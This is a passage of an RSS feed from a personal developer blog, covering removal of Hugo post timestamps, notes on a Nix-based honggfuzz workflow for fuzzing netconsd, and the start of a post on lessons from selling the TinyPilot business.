&lt;li>&lt;a href="https://mtlynch.io/notes/ma-residents-can-sue-over-email/">&amp;ldquo;Massachusetts Residents Can Sue Online Merchants for Spam&amp;rdquo;&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/notes/llama3.1-nemotron-ollama/">&amp;ldquo;An Unsuccessful Experiment with Nemotron&amp;rdquo;&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/notes/fuzz-netconsd/">&amp;ldquo;Creating a Nix Workflow to Fuzz netconsd&amp;rdquo;&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/notes/marohn-housing-trap/">&amp;ldquo;Takeaways from Charles Marohn&amp;rsquo;s &amp;lsquo;Escaping the Housing Trap&amp;rsquo;&amp;rdquo;&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Added support in ScreenJournal for &lt;a href="https://github.com/mtlynch/screenjournal/pull/359">reviewing TV shows&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>Stacked diffs provide a nice workflow for large changes, but git doesn&amp;rsquo;t have great support for them.&lt;/li>
&lt;li>Match investment in blog posts to their expected return.
&lt;ul>
&lt;li>While I love documenting everything I learn, I need my blog to be financially sustainable, and that can only happen if a large percentage of my full-length articles draw readers who might be interested in my for-profit projects.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Enjoy family time.&lt;/li>
&lt;li>Complete and publish a chapter of &lt;a href="https://refactoringenglish.com">&lt;em>Refactoring English&lt;/em>&lt;/a>.&lt;/li>
&lt;/ul></content:encoded></item><item><title>Delete the Timestamps from your Static Blog</title><link>https://mtlynch.io/notes/delete-your-timestamps/</link><pubDate>Sat, 16 Nov 2024 00:00:00 +0000</pubDate><guid>https://mtlynch.io/notes/delete-your-timestamps/</guid><description>&lt;p>I build this blog using &lt;a href="https://gohugo.io/">Hugo&lt;/a>, a popular static site generator.&lt;/p>
&lt;p>The way Hugo works is that when I create a new blog post, Hugo generates a default template that looks like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-markdown" data-lang="markdown">&lt;span style="display:flex;">&lt;span>---
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>title: &amp;#34;My New Post&amp;#34;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>date: 2024-11-16T20:33:09-04:00
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>---
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The boilerplate for the post contains a publication time with a timestamp. But the timestamp obviously isn&amp;rsquo;t the time that I published the post, as I&amp;rsquo;ve just started writing it.&lt;/p></description><content:encoded>&lt;p>I build this blog using &lt;a href="https://gohugo.io/">Hugo&lt;/a>, a popular static site generator.&lt;/p>
&lt;p>The way Hugo works is that when I create a new blog post, Hugo generates a default template that looks like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-markdown" data-lang="markdown">&lt;span style="display:flex;">&lt;span>---
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>title: &amp;#34;My New Post&amp;#34;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>date: 2024-11-16T20:33:09-04:00
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>---
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The boilerplate for the post contains a publication time with a timestamp. But the timestamp obviously isn&amp;rsquo;t the time that I published the post, as I&amp;rsquo;ve just started writing it.&lt;/p>
&lt;h2 id="the-default-timestamp-is-meaningless">The default timestamp is meaningless&lt;/h2>
&lt;p>From my readers&amp;rsquo; perspective, Hugo&amp;rsquo;s timestamp for my post is meaningless.&lt;/p>
&lt;p>Readers want to know a post was published, not when the author first started writing down their earliest ideas.&lt;/p>
&lt;p>It&amp;rsquo;s not just Hugo — Jekyll, another popular static site generator, does the same thing.&lt;/p>
&lt;p>At some point in the editing process for every single post I&amp;rsquo;ve ever written, I have to update the timestamp to the date I plan to publish, and I zero out the time portion like this: &lt;code>2024-11-16T00:00:00-04:00&lt;/code>.&lt;/p>
&lt;p>It&amp;rsquo;s a tedious process, but it only takes five seconds each time, so I quickly forget about it as a problem.&lt;/p>
&lt;h2 id="lets-throw-away-the-timestamps">Let&amp;rsquo;s throw away the timestamps&lt;/h2>
&lt;p>After what was probably the 100th time manually adjusting the timestamp in one of my blog posts over the last decade, I finally asked, &amp;ldquo;Do I have to do this every time?&amp;rdquo;&lt;/p>
&lt;p>Fortunately, the answer is: no.&lt;/p>
&lt;p>It&amp;rsquo;s easy to throw away timestamps, at least in Hugo, and everything works just like it should.&lt;/p>
&lt;h3 id="step-1-update-archetypes">Step 1: Update archetypes&lt;/h3>
&lt;p>The first thing I did was &lt;a href="https://github.com/mtlynch/mtlynch.io/pull/1301">update my blog&amp;rsquo;s archetypes files&lt;/a>.&lt;/p>
&lt;p>In Hugo, when you generate a new post, Hugo populates it using boilerplate from the &lt;a href="https://gohugo.io/content-management/archetypes/">archetype file&lt;/a> for that post type.&lt;/p>
&lt;p>Now, my default archetype looks like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-markdown" data-lang="markdown">&lt;span style="display:flex;">&lt;span>---
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>title: &amp;#34;{{ replace .Name &amp;#34;-&amp;#34; &amp;#34; &amp;#34; | title }}&amp;#34;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>date: {{ now.Format &amp;#34;2006-01-02&amp;#34; }}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>---
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>If I generate a new post, the file has just a plain date with no timestamp attached:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ hugo new content/posts/just-a-test/index.md &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> cat content/posts/just-a-test/index.md
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Content &lt;span style="color:#ed9d13">&amp;#34;/home/mike/mtlynch.io/content/posts/just-a-test/index.md&amp;#34;&lt;/span> created
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>---
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>title: &lt;span style="color:#ed9d13">&amp;#34;Just a Test&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>date: 2024-11-16
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>---
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Perfect!&lt;/p>
&lt;h3 id="step-2-retroactively-delete-all-timestamps">Step 2: Retroactively delete all timestamps&lt;/h3>
&lt;p>I also retroactively stripped the timestamps from all of my old posts with this wacky LLM-generated one-liner:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Strip timestamps from the date and lastmod fields of every post.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>find . &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> -name &lt;span style="color:#ed9d13">&amp;#34;*.md&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> -exec &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> sed &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> -i &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> -e &lt;span style="color:#ed9d13">&amp;#39;s/\(date: [0-9]\{4\}-[0-9]\{2\}-[0-9]\{2\}\)T[0-9:.-]\+/\1/&amp;#39;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> -e &lt;span style="color:#ed9d13">&amp;#39;s/\(lastmod: [0-9]\{4\}-[0-9]\{2\}-[0-9]\{2\}\)T[0-9:.-]\+/\1/&amp;#39;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> {} +
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>That command &lt;a href="https://github.com/mtlynch/mtlynch.io/pull/1302">updated all of my previous posts&lt;/a> to remove the timestamp and convert down to simple dates.&lt;/p>
&lt;h2 id="conclusion">Conclusion&lt;/h2>
&lt;p>My blog is now free of timestamps, and I&amp;rsquo;m happier for it. The timestamps never had any meaning, and they only got in the way.&lt;/p>
&lt;p>I&amp;rsquo;m elated just imagining all that I&amp;rsquo;ll achieve with the two seconds I save on fiddling with the date field of every post from now on.&lt;/p></content:encoded></item><item><title>Creating a Nix Workflow to Fuzz netconsd</title><link>https://mtlynch.io/notes/fuzz-netconsd/</link><pubDate>Fri, 15 Nov 2024 00:00:00 +0000</pubDate><guid>https://mtlynch.io/notes/fuzz-netconsd/</guid><description>&lt;p>Recently, when I&amp;rsquo;m having trouble sleeping, I look for software to fuzz test.&lt;/p>
&lt;p>Earlier this week, I thought back to Fady Othman&amp;rsquo;s post &lt;a href="https://blog.fadyothman.com/meta-bug-bounty-fuzzing-netconsd-for-fun-and-profit-part-1-6ffe96eb1419">&amp;ldquo;Meta Bug Bounty — Fuzzing &amp;rsquo;netconsd&amp;rsquo; for fun and profit.&amp;rdquo;&lt;/a> It&amp;rsquo;s a good tutorial about fuzzing code exhaustively.&lt;/p>
&lt;p>Like most fuzzing blog posts, I found the work a bit difficult to reproduce because it requires the reader to figure out how to replicate the author&amp;rsquo;s environment and toolchain.&lt;/p></description><content:encoded>&lt;p>Recently, when I&amp;rsquo;m having trouble sleeping, I look for software to fuzz test.&lt;/p>
&lt;p>Earlier this week, I thought back to Fady Othman&amp;rsquo;s post &lt;a href="https://blog.fadyothman.com/meta-bug-bounty-fuzzing-netconsd-for-fun-and-profit-part-1-6ffe96eb1419">&amp;ldquo;Meta Bug Bounty — Fuzzing &amp;rsquo;netconsd&amp;rsquo; for fun and profit.&amp;rdquo;&lt;/a> It&amp;rsquo;s a good tutorial about fuzzing code exhaustively.&lt;/p>
&lt;p>Like most fuzzing blog posts, I found the work a bit difficult to reproduce because it requires the reader to figure out how to replicate the author&amp;rsquo;s environment and toolchain.&lt;/p>
&lt;p>I thought I&amp;rsquo;d try making an easily reproducible version of Othman&amp;rsquo;s fuzzer using Nix, as I did &lt;a href="https://mtlynch.io/nix-fuzz-testing-1">with xpdf&lt;/a>. My post about xpdf is much more thorough and polished. These are just some quick notes for anyone who&amp;rsquo;s curious.&lt;/p>
&lt;h2 id="fuzz-netconsd">fuzz-netconsd&lt;/h2>
&lt;p>This is the fuzzing workflow I created for netconsd with a few hours of work:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://gitlab.com/mtlynch/fuzz-netconsd">fuzz-netconsd&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>If you have git and Nix installed, you can run my workflow with the command:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>nix run gitlab:mtlynch/fuzz-netconsd
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This is the first fuzzer I&amp;rsquo;ve written where the fuzz tool calls directly into the code under test through function calls rather than executing the compiled binary through the shell. In honggfuzz and AFL++, this is called &amp;ldquo;persistent mode,&amp;rdquo; I guess because the fuzzer can keep one process persistently rather than spawning a new process for every fuzz run.&lt;/p>
&lt;p>Fuzzing by function call is interesting because you can do it even if the target code doesn&amp;rsquo;t even publish a shared library. I did this &lt;a href="https://gitlab.com/mtlynch/fuzz-netconsd/-/blob/1f4c415f781853c309c6f1a6e322205acad8bcdf/flake.nix#L53-61">in the &lt;code>installPhase&lt;/code> of the workflow&lt;/a> by copying the &lt;code>.o&lt;/code> file containing the code I want to call and the &lt;code>.h&lt;/code> header for it into the Nix output directory for that step.&lt;/p>
&lt;p>Once I had the headers and object files I needed, I wrote this simple test harness that has just enough code to call the function I&amp;rsquo;m fuzzing, &lt;code>ncrx_process&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-c++" data-lang="c++">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#cd2828;font-weight:bold">#include&lt;/span> &lt;span style="color:#cd2828;font-weight:bold">&amp;lt;string.h&amp;gt;&lt;/span>&lt;span style="color:#cd2828;font-weight:bold">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#cd2828;font-weight:bold">#include&lt;/span> &lt;span style="color:#cd2828;font-weight:bold">&amp;lt;stdio.h&amp;gt;&lt;/span>&lt;span style="color:#cd2828;font-weight:bold">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#cd2828;font-weight:bold">#include&lt;/span> &lt;span style="color:#cd2828;font-weight:bold">&amp;lt;stdlib.h&amp;gt;&lt;/span>&lt;span style="color:#cd2828;font-weight:bold">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#cd2828;font-weight:bold">#include&lt;/span> &lt;span style="color:#cd2828;font-weight:bold">&amp;lt;time.h&amp;gt;&lt;/span>&lt;span style="color:#cd2828;font-weight:bold">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#cd2828;font-weight:bold">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#cd2828;font-weight:bold">#include&lt;/span> &lt;span style="color:#cd2828;font-weight:bold">&amp;#34;ncrx.h&amp;#34;&lt;/span>&lt;span style="color:#cd2828;font-weight:bold">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#cd2828;font-weight:bold">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">int&lt;/span> &lt;span style="color:#447fcf">LLVMFuzzerTestOneInput&lt;/span>(&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">uint8_t&lt;/span> *buf, size_t len) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic">// Convert the random bytes of the payload to a null-terminated string.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">char&lt;/span> *payload = (&lt;span style="color:#6ab825;font-weight:bold">char&lt;/span> *)malloc(len + &lt;span style="color:#3677a9">1&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> (!payload) &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> &lt;span style="color:#3677a9">0&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> memcpy(payload, buf, len);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> payload[len] = &lt;span style="color:#ed9d13">&amp;#39;\0&amp;#39;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">struct&lt;/span> &lt;span style="color:#447fcf;text-decoration:underline">timespec&lt;/span> ts;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> (clock_gettime(CLOCK_MONOTONIC, &amp;amp;ts)) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> perror(&lt;span style="color:#ed9d13">&amp;#34;clock_gettime&amp;#34;&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> &lt;span style="color:#3677a9">1&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">uint64_t&lt;/span> now = ts.tv_sec * &lt;span style="color:#3677a9">1000&lt;/span> + ts.tv_nsec / &lt;span style="color:#3677a9">1000000&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">struct&lt;/span> &lt;span style="color:#447fcf;text-decoration:underline">ncrx&lt;/span> *ncrx = ncrx_create(&lt;span style="color:#24909d">NULL&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic">// Call the function that we&amp;#39;re fuzzing.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span> ncrx_process(payload, now, &lt;span style="color:#3677a9">0&lt;/span>, ncrx);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic">// Clean up the resources we allocated.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span> ncrx_destroy(ncrx);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> free(payload);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> &lt;span style="color:#3677a9">0&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I found persistent mode fuzzing easier than I expected. I didn&amp;rsquo;t even have to learn much about netconsd. I still don&amp;rsquo;t understand what it does exactly, but I understood enough to call one of its parsing functions under the fuzzer.&lt;/p>
&lt;h2 id="im-probably-not-going-to-find-anything">I&amp;rsquo;m probably not going to find anything&lt;/h2>
&lt;p>Othman reported hitting 100% coverage with his fuzzing work, which is extremely thorough.&lt;/p>
&lt;p>I checked &lt;a href="https://github.com/facebook/netconsd">the commit history of netconsd&lt;/a>, and there&amp;rsquo;s been almost no activity since Othman&amp;rsquo;s work. He doesn&amp;rsquo;t say so explicitly in his article, but I suspect that this is the change that fixed the vulnerability Othman discovered:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://github.com/facebook/netconsd/commit/dc94f1468e21503c7f666c25649d6bee3d6d6524">prevent overflow on invalid fragment values&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>I doubt that I&amp;rsquo;ll find much from fuzzing at this point. I stopped my fuzzer after 12 hours of no crashes.&lt;/p>
&lt;h2 id="unfinished-work">Unfinished work&lt;/h2>
&lt;ul>
&lt;li>Othman &lt;a href="https://blog.fadyothman.com/meta-bug-bounty-fuzzing-netconsd-for-fun-and-profit-part-3-127bb01d6756">used the klee tool&lt;/a> to generate edge case inputs for the fuzz corpus. I didn&amp;rsquo;t implement that, but it would fit nicely into the workflow, as klee is &lt;a href="https://search.nixos.org/packages?channel=24.05&amp;amp;show=klee&amp;amp;from=0&amp;amp;size=50&amp;amp;sort=relevance&amp;amp;type=packages&amp;amp;query=klee">already packaged for Nix&lt;/a>.&lt;/li>
&lt;li>I used honggfuzz instead of AFL++, which is what Othman used. I prefer the simplicity of honggfuzz, but Othman is knowledgeable enough of AFL++&amp;rsquo;s knobs to get higher coverage.
&lt;ul>
&lt;li>My &lt;a href="https://gitlab.com/mtlynch/fuzz-netconsd/-/tree/e001a629a93be843179ccb9cb0bde9a16f5dead0">first draft implementation&lt;/a> used AFL++ if you&amp;rsquo;d prefer to play with that version.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul></content:encoded></item><item><title>Lessons from my First Exit</title><link>https://mtlynch.io/lessons-from-my-first-exit/</link><pubDate>Wed, 13 Nov 2024 00:00:00 +0000</pubDate><guid>https://mtlynch.io/lessons-from-my-first-exit/</guid><description>&lt;p>In April of this year, I sold &lt;a href="https://tinypilotkvm.com">TinyPilot&lt;/a>, the bootstrapped hardware company I founded and ran for four years.&lt;/p>
&lt;p>I wrote a post in May that &lt;a href="https://mtlynch.io/i-sold-tinypilot/">told the story of the sale&lt;/a>, but I&amp;rsquo;d like to share more about the practical lessons I learned from the experience.&lt;/p>
&lt;p>In this post, I&amp;rsquo;m sharing what went well, what I want to improve in the future, and what surprised me about selling my business.&lt;/p>
&lt;h2 id="table-of-contents">Table of contents&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="#details-of-the-sale">Details of the sale&lt;/a>&lt;/li>
&lt;li>&lt;a href="#what-im-glad-i-did">What I&amp;rsquo;m glad I did&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#invested-heavily-in-documentation">Invested heavily in documentation&lt;/a>&lt;/li>
&lt;li>&lt;a href="#created-a-transition-checklist">Created a transition checklist&lt;/a>&lt;/li>
&lt;li>&lt;a href="#worked-with-a-broker-i-trusted">Worked with a broker I trusted&lt;/a>&lt;/li>
&lt;li>&lt;a href="#avoided-seller-financing">Avoided seller financing&lt;/a>&lt;/li>
&lt;li>&lt;a href="#assumed-id-get-nothing-after-closing">Assumed I&amp;rsquo;d get nothing after closing&lt;/a>&lt;/li>
&lt;li>&lt;a href="#recognized-the-limits-of-my-influence-on-the-business-post-close">Recognized the limits of my influence on the business post-close&lt;/a>&lt;/li>
&lt;li>&lt;a href="#revised-the-broker-agreement-so-that-the-broker-gets-paid-when-i-get-paid">Revised the broker agreement so that the broker gets paid when I get paid&lt;/a>&lt;/li>
&lt;li>&lt;a href="#discussed-contentious-issues-without-lawyers-first">Discussed contentious issues without lawyers first&lt;/a>&lt;/li>
&lt;li>&lt;a href="#used-dedicated-accounts-for-the-business">Used dedicated accounts for the business&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#what-ill-do-differently-in-the-future">What I&amp;rsquo;ll do differently in the future&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#offer-incentives-for-a-cash-buyer">Offer incentives for a cash buyer&lt;/a>&lt;/li>
&lt;li>&lt;a href="#discuss-key-contract-terms-earlier-in-the-process">Discuss key contract terms earlier in the process&lt;/a>&lt;/li>
&lt;li>&lt;a href="#begin-working-with-a-lawyer-earlier">Begin working with a lawyer earlier&lt;/a>&lt;/li>
&lt;li>&lt;a href="#create-an-unofficial-small-stuff-agreement-with-the-buyer">Create an unofficial &amp;ldquo;small stuff agreement&amp;rdquo; with the buyer&lt;/a>&lt;/li>
&lt;li>&lt;a href="#announce-the-sale-to-my-team-later">Announce the sale to my team later&lt;/a>&lt;/li>
&lt;li>&lt;a href="#dont-catastrophize-every-setback">Don&amp;rsquo;t catastrophize every setback&lt;/a>&lt;/li>
&lt;li>&lt;a href="#reveal-vendors-earlier-but-put-tighter-restrictions-in-the-loi">Reveal vendors earlier, but put tighter restrictions in the LOI&lt;/a>&lt;/li>
&lt;li>&lt;a href="#eliminate-inventory-from-the-brokers-commission">Eliminate inventory from the broker&amp;rsquo;s commission&lt;/a>&lt;/li>
&lt;li>&lt;a href="#assume-from-the-start-that-nothing-written-is-private">Assume from the start that nothing written is private&lt;/a>&lt;/li>
&lt;li>&lt;a href="#define-what-happens-to-money-flows-around-the-time-of-closing">Define what happens to money flows around the time of closing&lt;/a>&lt;/li>
&lt;li>&lt;a href="#in-the-transition-agreement-value-calendar-days-more-than-work-hours">In the transition agreement, value calendar days more than work hours&lt;/a>&lt;/li>
&lt;li>&lt;a href="#disconnect-non-transferable-accounts-from-business-email-before-closing">Disconnect non-transferable accounts from business email before closing&lt;/a>&lt;/li>
&lt;li>&lt;a href="#take-even-fewer-dependencies-on-google">Take even fewer dependencies on Google&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#what-surprised-me">What surprised me&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#due-diligence-is-unbounded-high-stress-work">Due diligence is unbounded, high-stress work&lt;/a>&lt;/li>
&lt;li>&lt;a href="#as-you-prepare-to-sell-everything-costs-4x-as-much">As you prepare to sell, everything costs 4x as much&lt;/a>&lt;/li>
&lt;li>&lt;a href="#you-dont-strictly-need-a-broker-to-sell">You don&amp;rsquo;t strictly need a broker to sell&lt;/a>&lt;/li>
&lt;li>&lt;a href="#if-the-non-compete-is-too-restrictive-youre-screwed">If the non-compete is too restrictive, you&amp;rsquo;re screwed&lt;/a>&lt;/li>
&lt;li>&lt;a href="#if-theres-no-cap-on-liability-youre-screwed">If there&amp;rsquo;s no cap on liability, you&amp;rsquo;re screwed&lt;/a>&lt;/li>
&lt;li>&lt;a href="#buyers-have-incentive-to-keep-the-seller-happy">Buyers have incentive to keep the seller happy&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#resources-that-helped-me-prepare">Resources that helped me prepare&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="details-of-the-sale">Details of the sale&lt;/h2>
&lt;ul>
&lt;li>Sale price: $598,000 (2.4x annual earnings)&lt;/li>
&lt;li>Broker commission: $88,900&lt;/li>
&lt;li>Legal fees: $18,297&lt;/li>
&lt;li>My profit from the sale: $490,803&lt;/li>
&lt;li>Payment terms: Full cash payment at closing (no earnout, no seller financing)&lt;/li>
&lt;li>Seller obligations: 30 days of free consulting (max of 80 hours total)&lt;/li>
&lt;li>Lifetime profit from business (including final sale): $920k over four years&lt;/li>
&lt;/ul>
&lt;h2 id="what-im-glad-i-did">What I&amp;rsquo;m glad I did&lt;/h2>
&lt;h3 id="invested-heavily-in-documentation">Invested heavily in documentation&lt;/h3>
&lt;p>Before I started my first business six years ago, I read the book &lt;a href="https://builttosell.com/">&lt;em>Built to Sell&lt;/em>&lt;/a> by John Warrilow. It encourages founders to build businesses that run smoothly without the founder actively managing day-to-day activities. An effective company should have a set of well-defined processes and a team that knows how to execute them.&lt;/p></description><content:encoded>&lt;p>In April of this year, I sold &lt;a href="https://tinypilotkvm.com">TinyPilot&lt;/a>, the bootstrapped hardware company I founded and ran for four years.&lt;/p>
&lt;p>I wrote a post in May that &lt;a href="https://mtlynch.io/i-sold-tinypilot/">told the story of the sale&lt;/a>, but I&amp;rsquo;d like to share more about the practical lessons I learned from the experience.&lt;/p>
&lt;p>In this post, I&amp;rsquo;m sharing what went well, what I want to improve in the future, and what surprised me about selling my business.&lt;/p>
&lt;h2 id="table-of-contents">Table of contents&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="#details-of-the-sale">Details of the sale&lt;/a>&lt;/li>
&lt;li>&lt;a href="#what-im-glad-i-did">What I&amp;rsquo;m glad I did&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#invested-heavily-in-documentation">Invested heavily in documentation&lt;/a>&lt;/li>
&lt;li>&lt;a href="#created-a-transition-checklist">Created a transition checklist&lt;/a>&lt;/li>
&lt;li>&lt;a href="#worked-with-a-broker-i-trusted">Worked with a broker I trusted&lt;/a>&lt;/li>
&lt;li>&lt;a href="#avoided-seller-financing">Avoided seller financing&lt;/a>&lt;/li>
&lt;li>&lt;a href="#assumed-id-get-nothing-after-closing">Assumed I&amp;rsquo;d get nothing after closing&lt;/a>&lt;/li>
&lt;li>&lt;a href="#recognized-the-limits-of-my-influence-on-the-business-post-close">Recognized the limits of my influence on the business post-close&lt;/a>&lt;/li>
&lt;li>&lt;a href="#revised-the-broker-agreement-so-that-the-broker-gets-paid-when-i-get-paid">Revised the broker agreement so that the broker gets paid when I get paid&lt;/a>&lt;/li>
&lt;li>&lt;a href="#discussed-contentious-issues-without-lawyers-first">Discussed contentious issues without lawyers first&lt;/a>&lt;/li>
